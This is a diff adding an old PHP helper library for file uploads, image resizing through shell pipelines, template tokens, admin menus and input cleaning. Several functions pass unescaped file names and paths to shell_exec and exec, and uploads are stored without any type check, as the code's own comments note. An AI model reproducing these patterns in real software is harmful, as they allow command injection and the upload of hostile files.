+function file_upload( $form_field, $file_name, $base_path = SI_BASE_FILE_PATH )
+{
+
+ if( $base_path == '' )
+ die( "Base file path not provided to file_upload() function or SI_BASE_FILE_PATH not set" );
+
+ if( SI_DEBUG > 0 )
+ echo "file_upload(): temp file = $form_field, file name = $file_name";
+
+ // Get rid of screwy characters in file names
+
+ if( ereg( '[!@#$%^&()+={};: ]', $file_name ) )
+ $file_name = ereg_replace( "[!@#$%^&()+={};: ]", "x", $file_name );
+
+ // Check if destination path is valid
+
+ if( !is_dir( $base_path ) )
+ die( $base_path." not a directory" );
+
+ // Check if file name is in use
+
+ $new_file_name = $file_name;
+ if( file_exists( $base_path."/".$file_name ) ) // If so
+ $new_file_name = mktime()."_".$file_name; // Prefix with timestamp
+
+ // Save file to destination directory
+
+ $new_file_location = $base_path."/".$new_file_name;
+
+ if( SI_DEBUG > 0 )
+ echo ", new file name = $new_file_location<br>";
+
+ copy( $form_field, $new_file_location );
+ chmod( $new_file_location, 0664 );
+
+ // Return where it was stored
+
+ return( $new_file_name );
+}
+
+ // Duplicate a file
+
+function file_duplicate( $file_name, $base_path = SI_BASE_FILE_PATH )
+{
+
+ if( empty($file_name) )
+ return( "" );
+
+ // Check to see if specified file exists
+
+ if( !is_file($base_path."/".$file_name) )
+ return( "" );
+
+ // Create new file name
+
+ for( $i=1 ; $i<1000 ; $i++ )
+ {
+ if( !is_file($base_path."/"."c".$i."_".$file_name) )
+ break;
+ }
+
+ if( $i == 1000 )
+ return( "" );
+
+ $new_file_name = "c".$i."_".$file_name;
+
+ copy( $base_path."/".$file_name, $base_path."/".$new_file_name );
+
+ return( $new_file_name );
+}
+
+
+
+ // Delete a stored File
+
+function file_delete( $file_name, $base_path = SI_BASE_FILE_PATH )
+{
+
+ if( !is_writable ( $base_path."/".$file_name ) )
+ return( FALSE );
+
+ if( !is_file($base_path."/".$file_name) || !unlink($base_path."/".$file_name) )
+ return( FALSE );
+
+ return( TRUE );
+}
+
+
+ // Read the specified file and return the results
+
+function file_get( $file_name, $max_size = 0, $base_path = SI_BASE_PATH )
+{
+
+ if( !is_readable ( $base_path."/".$file_name ) )
+ return( FALSE );
+
+ $f = fopen( $base_path."/".$file_name, "r" );
+ $s = filesize($base_path."/".$file_name);
+ if( $max_size == 0 || $s <= $max_size )
+ $file_contents = fread( $f, $s );
+ else
+ return( FALSE );
+
+ return( $file_contents );
+}
+
+
+function file_ouput_secure( $file_name, $md5, $path = '' )
+{
+
+ // Check for required secret string
+
+ if( !defined('SI_FILE_SECRET') || SI_FILE_SECRET == '' )
+ {
+ echo '<p><font color="red">ERROR: </font> SI_FILE_SECRET parameter required for <b>file_output_secure()</b><br>
+ SI_FILE_SECRET defined parameter not found or no contents! Please check siteinfo.inc file.<p>';
+ exit;
+ }
+
+ // Check sanity of parameters
+
+ if( empty($file_name) )
+ {
+ if( SI_DEBUG > 0 ) echo 'file_output_secure(): No file name supplied<br>';
+ return( false );
+ }
+
+ if( ereg( '\.\./', $file_name ) ) // Note that strpos function is defective so it's not used here
+ {
+ if( SI_DEBUG > 0 ) echo 'file_output_secure(): "../" not permitted in file name<br>';
+ return( false );
+ }
+
+ if( empty($md5) || $md5 != md5( $file_name.SI_FILE_SECRET ) )
+ {
+ if( SI_DEBUG > 0 ) echo 'file_output_secure(): md5 security parameter is not supplied or is not valid for $file_name<br>';
+ return( false );
+ }
+
+ // Assemble complete file path and name
+
+ if( empty($path) )
+ $pathname = SI_BASE_FILE_PATH.'/'.$file_name;
+ else
+ $pathname = SI_BASE_PATH.'/'.$path.'/'.$file_name;
+
+ // Make sure file exists and is readable
+
+ if( !is_readable( $pathname ) )
+ {
+ if( SI_DEBUG > 0 ) echo 'file_output_secure(): Specified file doesn\'t exist or is unreadable - '.$pathname.'<br>';
+ return( false );
+ }
+
+
+ // Get mime type for specified file
+
+ $mimetype = shell_exec( 'file -bi '.$pathname );
+ $length = filesize( $pathname );
+
+ // Output File
+
+ header( "Content-type: $mimetype" );
+ header( "Content-Length: $length" );
+ header( "Content-Disposition: inline; filename=$file_name" );
+ readfile( $pathname );
+
+ // Since output was successful, don't return, just quit
+
+ exit;
+
+}
+
+
+/***********************************************************************
+* *
+* GRAPHICS FUNCTIONS *
+* *
+***********************************************************************/
+
+ // Return information about an image
+
+function img_info( $path2image )
+{
+
+ $type = array
+ (
+ 1 => 'GIF',
+ 2 => 'JPG',
+ 3 => 'PNG',
+ 4 => 'SWF',
+ 5 => 'PSD',
+ 6 => 'BMP',
+ 7 => 'TIFF(intel byte order)',
+ 8 => 'TIFF(motorola byte order)',
+ 9 => 'JPC',
+ 10 => 'JP2',
+ 11 => 'JPX',
+ 12 => 'JB2',
+ 13 => 'SWC',
+ 14 => 'IFF',
+ 15 => 'WBMP',
+ 16 => 'XBM'
+ );
+
+ if( file_exists($path2image) )
+ {
+ $i = GetImageSize( $path2image );
+ $r['width'] = $i[0];
+ $r['height'] = $i[1];
+ $r['type_num'] = $i[2];
+ $r['type'] = $type[$i[2]];
+ $r['size'] = $i[3];
+ $r['bits'] = $i[4];
+ $r['channels'] = $i[5];
+
+ return( $r );
+ }
+ else
+ return( FALSE );
+}
+
+
+ // Create a thumbnail image based on a full scale jpeg or gif
+
+function graphic_thumb($img, $timg, $type)
+{
+ switch( $type )
+ {
+ case "image/gif":
+ $cmd = SI_GRPH_GIFTOPNM." $img | ".SI_GRPH_PNMSCALE." -height ".SI_THEIGHT." | ".SI_GRPH_PPMQUANT." 256 | ".SI_GRPH_PPMTOGIF." -interlace > $timg";
+ break;
+
+ case "image/jpeg":
+ $cmd = SI_GRPH_DJPEG." $img | ".SI_GRPH_PNMSCALE." -height ".SI_THEIGHT." | ".SI_GRPH_CJPEG." -outfile $timg";
+ break;
+
+ default:
+ echo "<h1>Graphic type not defined: type $type</h1>\n";
+
+ /* we can only do gifs and jpegs at this point.
+ * png would be a nice addition
+ */
+
+ return( 0 );
+ }
+ exec( $cmd );
+ return( 1 );
+}
+
+
+ // Creates a resized image based on a full scale jpeg or gif
+
+function graphic_resize( $img, $timg, $type, $w, $h )
+{
+ switch ( $type )
+ {
+ case "image/gif":
+ $cmd = SI_GRPH_GIFTOPNM." $img | ";
+
+ if( $w && $h )
+ $cmd .= SI_GRPH_PNMSCALE." -width $w -height $h |";
+ elseif( $h )
+ $cmd .= SI_GRPH_PNMSCALE." -height $h |";
+ elseif( $w )
+ $cmd .= SI_GRPH_PNMSCALE." -width $w |";
+ $cmd .= SI_GRPH_PPMQUANT." 256 | ".SI_GRPH_PPMTOGIF." -interlace > $timg";
+ break;
+
+ case "image/jpeg":
+ $cmd = DJPEG." $img | ";
+ if( $w && $h )
+ $cmd .= SI_GRPH_PNMSCALE." -width $w -height $h |";
+ elseif( $h )
+ $cmd .= SI_GRPH_PNMSCALE." -height $h |";
+ elseif( $w )
+ $cmd .= SI_GRPH_PNMSCALE." -width $w |";
+ $cmd .= CJPEG." -outfile $timg";
+
+ break;
+
+ case "image/pjpeg":
+ $cmd = DJPEG." $img | ";
+
+ if( $w && $h )
+ $cmd .= SI_GRPH_PNMSCALE." -width $w -height $h |";
+ elseif( $h )
+ $cmd .= SI_GRPH_PNMSCALE." -height $h |";
+ elseif( $w )
+ $cmd .= SI_GRPH_PNMSCALE." -width $w |";
+ $cmd .= CJPEG." -outfile $timg";
+
+ break;
+
+ default:
+ echo "<h1>Graphic type not defined: type $type</h1>\n";
+ /* we can only do gifs and jpegs at this point.
+ * png would be a nice addition
+ */
+ return( 0 );
+ }
+ exec( $cmd );
+ return( 1 );
+}
+
+
+ // Resize an image based on a full scale jpeg or gif
+
+function img_resize( $path2image, $path2thumb, $axis, $size )
+{
+ $imageName = basename( $path2image );
+ $thumbName = basename( $path2thumb );
+
+ if( TRUE ) // Not testing submitted file type at this time
+ {
+ $imageAttributes = GetImageSize( $path2image );
+ $imageWidth = $imageAttributes[0];
+ $imageHeight = $imageAttributes[1];
+ if( $imageWidth < $size && $imageHeight < $size )
+ {
+ exec( "cp $path2image $path2thumb" );
+ chmod( $path2thumb, 0664 );
+ }
+ else
+ {
+ if( ($axis == "h" || $axis == "a") && ($imageHeight > $imageWidth) )
+ exec( SI_GRPH_CONVERT." -geometry $size $path2image $path2thumb" );
+ if( ($axis == "w" || $axis == "a") && ($imageWidth >= $imageHeight) )
+ exec( SI_GRPH_CONVERT." -geometry $size $path2image $path2thumb");
+ }
+
+ $img_resize_array = array( "$imageName", "$path2image", "$thumbName", "$path2thumb" );
+ return( $img_resize_array );
+ }
+ else
+ {
+ echo '<FONT SIZE=4>'
+ .'Unable to complete Resize Function, The file being processed is not an acceptable image file. Please use only .GIF or .JPG files'
+ .'<BR CLEAR=ALL>'
+ .'</FONT>'
+ ."Hit your browser's back button to continue"
+ .'<P>';
+ $error[0] = "ERROR";
+ return( $error );
+ }
+}
+
+ // Upload an image
+
+function img_upload( $form_field,$img_name,$destination_path )
+{
+
+ if (ereg('[!@#$%^&()+={};:\'\\ ]', $img_name))
+ {
+ $img_name = ereg_replace("[!@#$%^&()+={};:'\\ ]", "x", $img_name);
+ $dumb = "dumber";
+ }
+
+ if( TRUE ) // Huh? - Oh, need to check for legal image type at some point
+ {
+ $i = "0";
+
+ // Check for valid destination path
+
+ if( !is_dir($destination_path) )
+ die( $destination_path." not a directory" ); // This is totally fatal
+
+ // Get entries in that directory and check if the supplied name is in use
+
+ $d = dir( $destination_path );
+ $img_name_in_use = "FALSE";
+ while ($entry = $d->read())
+ {
+ if ($entry == $img_name)
+ {
+ $img_name_in_use = "TRUE";
+ }
+ ++ $i;
+ }
+
+ $d->close();
+
+ // If the name is in use, give it a name that can't match anything
+
+ if( $img_name_in_use == "TRUE" )
+ {
+ $new_img_name = mktime().$img_name;
+ $new_img_location = $destination_path.'/'.$new_img_name;
+
+ // And store the image in the destination
+
+ copy( $form_field, $new_img_location );
+ chmod( $new_img_location, 0664 );
+ $img_upload_array = array( "$new_img_name", "$new_img_location" );
+ }
+ else
+ {
+ // Otherwise, supplied name is fine
+
+ $new_img_name = $img_name;
+ $new_img_location = $destination_path.'/'.$new_img_name;
+
+ copy( $form_field, $new_img_location );
+ chmod( $new_img_location, 0664 );
+ $img_upload_array = array( "$new_img_name", "$new_img_location" );
+ }
+ }
+ else // Can't get here right now
+ {
+ echo '<FONT SIZE=4>'.'The file you uploaded was of an incorrect type, please only upload .GIF or .JPG files'.'<BR CLEAR=ALL>'.'</FONT>'."Hit your browser's back button to continue".'<P>';
+ $error[0] = "ERROR";
+ return ($error);
+ }
+
+ return( $img_upload_array );
+}
+
+ // Main image processing function
+
+function process_image( $image, $image_name, $resized_size = SI_RESIZED_SIZE,
+ $midsized_size = SI_MIDSIZED_SIZE, $thumb_size = SI_THUMB_SIZE )
+{
+
+ // Check for paths
+
+ if( !defined("SI_IMG_ORIGINAL_PATH") )
+ html_error( "not defined SI_IMG_ORIGINAL_PATH", 1 );
+ if( !defined("SI_IMG_RESIZED_PATH") )
+ html_error( "not defined SI_IMG_RESIZED_PATH", 1 );
+ if( !defined("SI_IMG_MIDSIZED_PATH") )
+ html_error( "not defined SI_IMG_MIDSIZED_PATH", 1 );
+ if( !defined("SI_IMG_THUMB_PATH") )
+ html_error( "not defined SI_IMG_THUMB_PATH", 1 );
+
+ if( !defined("SI_RESIZED_SIZE") )
+ html_error( "not defined SI_RESIZED_SIZE",1 );
+ if( !defined("SI_MIDSIZED_SIZE") )
+ html_error( "not defined SI_MIDSIZED_SIZE",1 );
+ if( !defined("SI_RESIZED_SIZE") )
+ html_error( "not defined SI_THUMB_SIZE",1 );
+
+ if( !($image_upload_array = img_upload($image, $image_name, SI_IMG_ORIGINAL_PATH)) )
+ html_error( "image could not be uploaded", 1 );
+
+ // Resize image using progressively smaller images as the source to minimize work
+
+ img_resize( $image_upload_array[1], SI_IMG_RESIZED_PATH."/".$image_upload_array[0], 'a', SI_RESIZED_SIZE );
+ img_resize( SI_IMG_RESIZED_PATH."/".$image_upload_array[0], SI_IMG_MIDSIZED_PATH."/".$image_upload_array[0], 'a', SI_MIDSIZED_SIZE );
+ img_resize( SI_IMG_MIDSIZED_PATH."/".$image_upload_array[0], SI_IMG_THUMB_PATH."/".$image_upload_array[0], 'a', SI_THUMB_SIZE );
+ $image_name = $image_upload_array[0];
+
+ return( $image_name );
+}
+
+ // Delete an image
+
+function delete_image( $image_name )
+{
+ $ok = TRUE;
+ if( !is_file(SI_IMG_ORIGINAL_PATH."/".$image_name) || !unlink(SI_IMG_ORIGINAL_PATH."/".$image_name) )
+ $ok = FALSE;
+ if( !is_file(SI_IMG_RESIZED_PATH."/".$image_name) || !unlink(SI_IMG_RESIZED_PATH."/".$image_name) )
+ $ok = FALSE;
+ if( !is_file(SI_IMG_MIDSIZED_PATH."/".$image_name) || !unlink(SI_IMG_MIDSIZED_PATH."/".$image_name) )
+ $ok = FALSE;
+ if( !is_file(SI_IMG_THUMB_PATH."/".$image_name) || !unlink(SI_IMG_THUMB_PATH."/".$image_name) )
+ $ok = FALSE;
+
+ return( $ok );
+}
+
+ // Duplicate an image
+
+function duplicate_image( $image_name )
+{
+
+ if( empty($image_name) )
+ return( "" );
+
+ // Check to see if specified image exists
+
+ if( !is_file(SI_IMG_ORIGINAL_PATH."/".$image_name) )
+ return( "" );
+
+ // Create new file name using "copy_" and timestamp
+
+ for( $i=1 ; $i<100 ; $i++ )
+ {
+ if( !is_file(SI_IMG_ORIGINAL_PATH."/"."p".$i."_".$image_name) )
+ break;
+ }
+
+ if( $i == 100 )
+ return( "" );
+
+ $new_image_name = "p".$i."_".$image_name;
+
+ copy( SI_IMG_ORIGINAL_PATH."/".$image_name, SI_IMG_ORIGINAL_PATH."/".$new_image_name );
+ copy( SI_IMG_RESIZED_PATH."/".$image_name, SI_IMG_RESIZED_PATH."/".$new_image_name );
+ copy( SI_IMG_MIDSIZED_PATH."/".$image_name, SI_IMG_MIDSIZED_PATH."/".$new_image_name );
+ copy( SI_IMG_THUMB_PATH."/".$image_name, SI_IMG_THUMB_PATH."/".$new_image_name );
+
+ return( $new_image_name );
+}
+
+
+/***********************************************************************
+* *
+* GENERAL SUPPORT FUNCTIONS / CLASSES *
+* *
+***********************************************************************/
+
+class timestampfunc
+{
+
+ function newdate( $timestamp )
+ {
+ $z = date( "m:Y", $timestamp );
+ $z = split( ":", $z );
+ return $z;
+ }
+
+ function first_of_month( $timestamp )
+ {
+ $z = $this->newdate( $timestamp );
+ $first_of_month = $z[0]."/1/".$z[1];
+ return strtotime( $first_of_month );
+ }
+
+ function first_last_month( $timestamp )
+ {
+ $z = $this->newdate( $timestamp );
+ $z[0]--;
+ if( $z[0] <= 0 )
+ {
+ $z[0] = 12;
+ $z[1]--;
+ }
+ $first_of_month = ($z[0])."/1/".$z[1];
+ return strtotime( $first_of_month );
+ }
+
+ function first_next_month( $timestamp )
+ {
+ $z = $this->newdate( $timestamp );
+ $z[0]++;
+ if( $z[0] > 12 )
+ {
+ $z[0] = 1;
+ $z[1]++;
+ }
+ $first_of_month = ($z[0])."/1/".$z[1];
+ return strtotime( $first_of_month );
+ }
+
+ function first_of_Xmonth( $timestamp, $x )
+ {
+ $z = $this->newdate( $timestamp );
+ $r = mktime( 0,0,0, ($z[0]+$x), 1, $z[1] );
+ return $r;
+ }
+
+}
+
+
+ // Return Positive values only, otherwise 0
+
+function pos_value( $value )
+{
+
+ if( $value > 0 )
+ return( $value );
+ return( 0 );
+}
+
+
+ // Format a number as US Dollars
+
+function money( $value, $option = "" )
+{
+
+ if( $option == "NOPREFIX" )
+ $prefix = "";
+ else
+ $prefix = "$";
+
+ // Do value sanity check
+
+ if( !is_numeric( $value ) )
+ return( $prefix."0.00" );
+
+ return( $prefix.number_format($value, 2, ".", "," ) );
+}
+
+
+ // Convert "key^value~key^value" string to an array
+
+function strtoarray( $s )
+{
+
+ $a = array();
+
+ // Create array of entries - If there's less than 2 entries, fail
+
+ if( count($ea = explode( '~', $s )) < 2 )
+ return( FALSE );
+
+ foreach( $ea as $e )
+ {
+ // Each entry must have exactly 2 parts
+
+ if( count($d = explode( "^", $e )) != 2 )
+ return( FALSE );
+
+ $a[trim($d[0])] = trim($d[1]);
+ }
+
+ return( $a );
+}
+
+
+ // Convert array to a "key^value~key^value" string
+
+function arraytostr( $a )
+{
+
+ $s = '';
+
+ // Supplied value must be array of 2 or more entries
+
+ if( !is_array($a) || count($a) < 2 )
+ return( FALSE );
+
+ $sep = "";
+
+ while( list($k,$v) = each($a) )
+ {
+ $s .= $sep."$k^$v";
+ $sep = '~';
+ }
+
+ return( $s );
+}
+
+
+ // Replace {tokens}
+
+function replace_tokens( $s, $tokens )
+{
+
+ if( !is_array($tokens) )
+ {
+ echo '<P>ERROR: replace_tokens() - Parameter 2 ($tokens) is not an array<P>';
+ exit;
+ }
+
+ while( list($k,$v) = each($tokens) )
+ {
+ $s = str_replace( "{".$k."}", $v, $s ); // Non ereg version - faster, case must match
+// $s = eregi_replace( "\\{".$k."\\}", $v, $s ); // Ereg version
+ }
+
+ return( $s );
+
+}
+
+
+ // Conditionally replace tokens
+
+function cond_replace_tokens( $s, $tokens, $x="cond" )
+{
+
+ if( !is_array($tokens) )
+ {
+ echo '<P>ERROR: cond_replace_tokens() - Parameter 2 ($tokens) is not an array<P>';
+ exit;
+ }
+
+ while( list($k,$v) = each($tokens) )
+ {
+ $p0 = 0; // Reset starting pointer position
+
+ while( ($start = strpos( $s, "<!--{if:".$k, $p0 )) !== false )
+ {
+ if( strcspn( substr($s,$start+8+strlen($k)), "=!><}" ) == 0 ) // Check to make sure it's not a substring of another token
+ {
+
+ if( !($if_end = strpos( $s, "}-->", $start )) ) // Find end of {if:} tag
+ return( "ERROR: cond_replace_tokens() - Can't find end of {if:} tag at $start.<P><PRE>\n\n".htmlentities(substr($s,$start,500))."</PRE>" );
+
+ $p = $start + 8 + strlen($k); // Set position where "=" should be if it's used
+ $cond = substr($s,$p,1);
+ switch( $cond )
+ {
+ case "=":
+ case "!":
+ case ">":
+ case "<":
+ $if_val_test = TRUE; // If valid comparison character?
+ $if_val = substr( $s, $p+1, $if_end-$p-1 );
+ break;
+ default:
+ $if_val_test = FALSE;
+ break;
+ }
+
+ // Separate out strings for both yes and no conditions
+
+ $yes_start = $if_end + 4; // Point past tag
+ $ci = ""; // Closed {/if} take intro only if there's no {else}
+ $else_if = strpos( $s, "<!--{else:$k}", $yes_start );
+ $slash_if = strpos( $s, "<!--{/if:$k}-->", $yes_start );
+ if( $else_if && ( !$slash_if || ($else_if < $slash_if) ) ) // If there's an {else}
+ {
+ $yes_string = substr( $s, $yes_start, $else_if-$yes_start );
+ $no_start = $else_if + 11 + strlen($k); // Point past tag
+ if( !($no_end = strpos( $s, "{/if:$k}-->", $no_start )) ) // If there's no --> end of cond tag
+ return( "ERROR: cond_replace_tokens() - Matching {/if:} tag not found after {else:} at $start for \"$k\".<P><PRE>\n\n".htmlentities(substr($s,$start,500))."</PRE>" );
+
+ $end = $no_end + 9 + strlen($k);
+
+ $no_string = substr( $s, $no_start, $no_end-$no_start );
+ }
+ else
+ {
+ $no_string = "";
+ if( !($slash_if = strpos( $s, "<!--{/if:$k}-->", $yes_start )) ) // If there's no end of cond tag
+ return( "ERROR: cond_replace_tokens() - Matching {/if} tag not found at $start for \"$k\".<P><PRE>\n\n".htmlentities(substr($s,$start,500))."</PRE>" );
+ $end = $slash_if + 13 + strlen($k);
+ $yes_string = substr( $s, $yes_start, $slash_if-$yes_start );
+ }
+
+ if( $if_val_test != FALSE ) // If there's a compare value, test with that
+ switch( $cond )
+ {
+ case "=":
+ $t = ( trim($v) == trim($if_val) );
+ break;
+ case "!":
+ $t = ( trim($v) != trim($if_val) );
+ break;
+ case ">":
+ $t = ( trim($v) > trim($if_val) );
+ break;
+ case "<":
+ $t = ( trim($v) < trim($if_val) );
+ break;
+ default:
+ return( "ERROR: cond_replace_tokens() - Internal unknown conditional operator error ($cond)- Code Bad, fix code!" );
+ }
+ else // otherwise just use token value
+ $t = ( trim($v) != "" ); // if it's not empty use yes_string
+
+ if( $t ) // Replace with appropriate string
+ $s = substr_replace( $s, $yes_string, $start, $end-$start );
+ else
+ $s = substr_replace( $s, $no_string, $start, $end-$start );
+ }
+ else
+ $p0 = $start + 1;
+ }
+ $p0 = $start;
+ }
+
+ return( $s );
+
+}
+
+ // Replace {file:xxx} token with a file
+
+function replace_file_tokens( $s )
+{
+
+ $p0 = 0; // Reset starting pointer position
+
+ while( $p0 < strlen($s) && ($start = strpos( $s, "<!--{file:", $p0 )) )
+ {
+ if( !($file_end = strpos( $s, "}-->", $start )) ) // Find end of {file:} tag
+ return( "ERROR: replace_file_tokens() - Can't find end of {file:} tag at $start.<P><PRE>\n\n".htmlentities(substr($s,$start,500))."</PRE>" );
+
+ $filename = substr( $s, $start+10, $file_end-$start-10 ); // Get file name
+ // Check for a matching <!--{/file}--> tag
+
+ if( ($slash_file = strpos( $s, "<!--{/file}-->", $file_end)) // If there's a {/file} tag
+ && !($next_file = strpos( $s, "<!--{file:", $file_end)) // and there's not another {file:} tag
+ || ( $next_file && $slash_file < $next_file ) ) // or it's beyond our {/file} tag
+ {
+ $file_end = $slash_file + 10; // Point to "}-->"
+ }
+
+ $end = $file_end + 4;
+
+ // Check if file name is valid
+
+ if( ($file_contents = file_get( $filename )) == FALSE )
+ return( "ERROR: replace_file_tokens() - Can't load specified file '$filename' for {file:} tag.<P><PRE>\n\n".htmlentities(substr($s,$start,500))."</PRE>" );
+
+ $s = substr_replace( $s, $file_contents, $start, $end-$start );
+
+ $p0 = $end;
+ }
+
+ return( $s );
+
+}
+
+
+ // Convert an array of data to an HTML table
+
+function tableize_array($arr, $len=100 )
+{
+ // Verify that parameter is actually an array
+
+ if( !is_array($arr) )
+ {
+ $return = "Error: Variable not an array";
+ return $return;
+ }
+
+ // If everything's going fine so far, build out the table
+
+ $return = '<P><table width="100%" bordercolor="black" border="1">';
+
+ foreach( $arr as $key=>$val )
+ {
+ $return .= '<tr><td align="left" valign="top" width="10%" nowrap>'.$key.'</td> <td align="left" valign="top" width="90%">';
+ if( is_array($val) )
+ $return .= tableize_array( $val );
+ else
+ {
+ if( strlen($val) > $len )
+ $x = substr( $val, 0, $len ).".......";
+ else
+ $x = $val;
+ $return .= "<PRE>".htmlentities( $x )."</PRE>";
+ }
+
+ $return .= "</td></tr>\n";
+ }
+
+ $return .= "</table>";
+
+ return $return;
+}
+
+
+ // Select field data from an array based on which function it will be used for
+ // returning a string suitable for the admin_ functions
+
+function admin_field_select( $fields, $filter )
+{
+
+ $r = '';
+ $sep = '';
+
+ if( ! is_array($fields) || trim($filter) == '' )
+ {
+ echo "<P>ERROR: admin_field_select() - No Field or Filter data supplied!<P>";
+ return( FALSE );
+ }
+
+ foreach( $fields as $f )
+ {
+ $x = explode( ',', $f );
+ if( strstr( $x[5], $filter ) )
+ {
+ if( $filter == 'f' ) // List filters require slight difference in fields
+ $r .= $sep.$x[0].','.$x[1].','.$x[2].','.$x[4];
+ else
+ $r .= $sep.$x[0].','.$x[1].','.$x[2].','.$x[3].','.$x[4];
+ $sep = '|';
+ }
+ }
+
+ return( $r );
+}
+
+ // Select field data from an array based on which function it will be used for
+ // returning an array of arrays of data.
+
+function admin_fields_select_array( $fields, $filter )
+{
+
+ $r = array();
+
+ if( ! is_array($fields) || trim($filter) == '' )
+ {
+ echo "<P>ERROR: admin_field_select_array() - No Field or Filter data supplied!<P>";
+ return( FALSE );
+ }
+
+ while( list($key, $val) = each($fields) )
+ {
+ $x = explode( ',', $val );
+ if( strstr( $x[5], $filter ) )
+ {
+ $r[$key]['name'] = trim($x[0]);
+ $y = explode( '.', trim($x[1]) );
+ foreach( $y as $z )
+ $r[$key]['type'][] = trim($z);
+ $r[$key]['title'] = trim($x[2]);
+ $r[$key]['required'] = trim($x[3]);
+ $r[$key]['variable'] = trim($x[4]);
+ $r[$key]['sample'] = trim($x[6]);
+ }
+ }
+
+ return( $r );
+}
+
+ // Generate standard admin low-level menu
+
+ // New version using standard HTML (<div>'s) for admin sections
+function admin_menu_std( $action, $a_title, $id, $opt, $options = 'lveda', $add_menu = '', $params = '' )
+{
+
+ $m = '';
+ $nl = "\n";
+
+// if( $a_title != '' )
+// $m .= '<span class="submenu_title">'.$a_title.':</span>';
+
+ $link = SI_THIS_SCRIPT.'?Action='.urlencode($action);
+ if( trim($params) != '' )
+ $link .= '&'.$params;
+
+ if( strstr($options,'l') )
+ {
+ if( $opt == "List" )
+ $m .= '<li class="active">[List]</li>'.$nl;
+ else
+ $m .= '<li class="inactive" id="current"><a href="'.$link.'&Option=List">[List]</A></li>'.$nl;
+ }
+
+ if( strstr($options,'v') )
+ {
+ if( $opt == "View" )
+ $m .= '<li class="active">[View]</li>'.$nl;
+ elseif( empty($id) )
+ $m .= '<li class="unavailable">[View]</li>'.$nl;
+ else
+ $m .= '<li class="inactive"><a href="'.$link.'&Option=View&id='.$id.'">[View]</a></li>'.$nl;
+ }
+
+ if( strstr($options,'e') )
+ {
+ if( $opt == "Edit" )
+ $m .= '<li class="active">[Edit]</li>'.$nl;
+ elseif( empty($id) )
+ $m .= '<li class="unavailable">[Edit]</li>'.$nl;
+ else
+ $m .= '<li class="inactive"><a href="'.$link.'&Option=Edit&id='.$id.'">[Edit]</A></li>'.$nl;
+ }
+
+ if( strstr($options,'d') )
+ {
+ if( $opt == "Delete" )
+ $m .= '<li class="active">[Delete]<</li>'.$nl;
+ elseif( empty($id) )
+ $m .= '<li class="unavailable">[Delete]</li>'.$nl;
+ else
+ $m .= '<li class="inactive"><a href="'.$link.'&Option=Delete&id='.$id.'">[Delete]</a></li>'.$nl;
+ }
+
+ if( strstr($options,'a') )
+ {
+ if( $opt == "Add" )
+ $m .= '<li class="active">[Add]</li>'.$nl;
+ else
+ $m .= '<li class="inactive"><a href="'.$link.'&Option=Add">[Add]</A></li>'.$nl;
+ }
+
+ if( $add_menu != '' )
+ $m .= " - $add_menu".$nl;
+
+ return( $m );
+}
+ // Standard version
+function admin_menu( $action, $a_title, $id, $opt, $options = 'lveda', $add_menu = '', $params = '' )
+{
+
+ $m = '<SPAN CLASS="menu_title">'.$a_title.':</SPAN> </B>';
+
+ $link = SI_THIS_SCRIPT.'?Action='.urlencode($action);
+ if( trim($params) != '' )
+ $link .= '&'.$params;
+
+ if( strstr($options,'l') )
+ {
+ if( $opt == "List" )
+ $m .= '<SPAN CLASS="menu_active">[List]</SPAN> ';
+ else
+ $m .= '<A HREF="'.$link.'&Option=List">[List]</A> ';
+ }
+
+ if( strstr($options,'v') )
+ {
+ if( $opt == "View" )
+ $m .= '<SPAN CLASS="menu_active">[View]</SPAN> ';
+ elseif( empty($id) )
+ $m .= '[View] ';
+ else
+ $m .= '<A HREF="'.$link.'&Option=View&id='.$id.'">[View]</A> ';
+ }
+
+ if( strstr($options,'e') )
+ {
+ if( $opt == "Edit" )
+ $m .= '<SPAN CLASS="menu_active">[Edit]</SPAN> ';
+ elseif( empty($id) )
+ $m .= '[Edit] ';
+ else
+ $m .= '<A HREF="'.$link.'&Option=Edit&id='.$id.'">[Edit]</A> ';
+ }
+
+ if( strstr($options,'d') )
+ {
+ if( $opt == "Delete" )
+ $m .= '<SPAN CLASS="menu_active">[Delete]</SPAN> ';
+ elseif( empty($id) )
+ $m .= '[Delete] ';
+ else
+ $m .= '<A HREF="'.$link.'&Option=Delete&id='.$id.'">[Delete]</A> ';
+ }
+
+ if( strstr($options,'a') )
+ {
+ if( $opt == "Add" )
+ $m .= '<SPAN CLASS="menu_active">[Add]</SPAN> ';
+ else
+ $m .= '<A HREF="'.$link.'&Option=Add">[Add]</A> ';
+ }
+
+ if( $add_menu != '' )
+ $m .= " - $add_menu";
+
+ return( $m );
+}
+
+
+ // Clean up input parameters and test them for proper type of data
+
+function clean_input( $var_name, $type = 'text', $required = false )
+{
+
+ $reason = ''; // If problems, indicates reason here
+
+ // Trim whitespace, slashes, and stupid characters
+
+ $in = stripslashes( trim( $GLOBALS[$var_name] ) );
+
+ if( $in != '' )
+ {
+ switch( $type )
+ {
+
+ case 'int':
+ if( !is_numeric($in) )
+ $reason = 'not an integer';
+ else
+ $in = intval( $in );
+ break;
+
+ case 'float':
+ $in = preg_replace( "/^(\\$)?(.*)$/i", "\\2", $in );
+ if( !is_numeric( $in ) )
+ $reason = 'not a valid number';
+ else
+ $in = floatval( $in );
+ break;
+
+ case 'phone':
+ if( preg_match( "/^((\([0-9]{3}\))[ ]*|([0-9]{3}) *-* *)?[0-9]{3} *-* *[0-9]{4} *.{0,10}$/i", $in ) == 0 )
+ $reason = 'not a valid phone number';
+ else // Reformat as we want it
+ $in = preg_replace( "/^((\(([0-9]{3})\))[ ]*|(([0-9]{3}))[ -]*)?([0-9]{3}) *-* *([0-9]{4}) *(.{0,10})$/i", "\\3\\4-\\6-\\7 \\8", $in );
+ break;
+
+ case 'zip':
+ // Check if it's a US ZIP
+ if( preg_match( "/^(([0-9]{5})([ -+]?([0-9]{4}))?)$/i", $in ) != 0 )
+ {
+ $in = preg_replace( "/^([0-9]{5})[ -+]?([0-9]{4})$/i", "\\1-\\2", $in );
+ if( strlen($in) < 8 )
+ {
+ $in = preg_replace( "/^([0-9]{5}).*/i", "\\1", $in );
+ }
+ }
+ elseif( preg_match( "/^[a-zA-Z]\d[a-zA-Z][ -]?\d[a-zA-Z]\d$/i", $in ) != 0 )
+ {
+ $in = preg_replace( "/^([a-zA-Z]\d[a-zA-Z])[ -]?(\d[a-zA-Z]\d)$/i", "\\1 \\2" ,$in );
+ }
+ else
+ $reason = 'not a valid ZIP or Postal Code';
+ break;
+
+ case 'state':
+ global $si_states_array;
+ if( !isset($si_states_array[$in]) )
+ $reason = 'not a valid state code';
+ break;
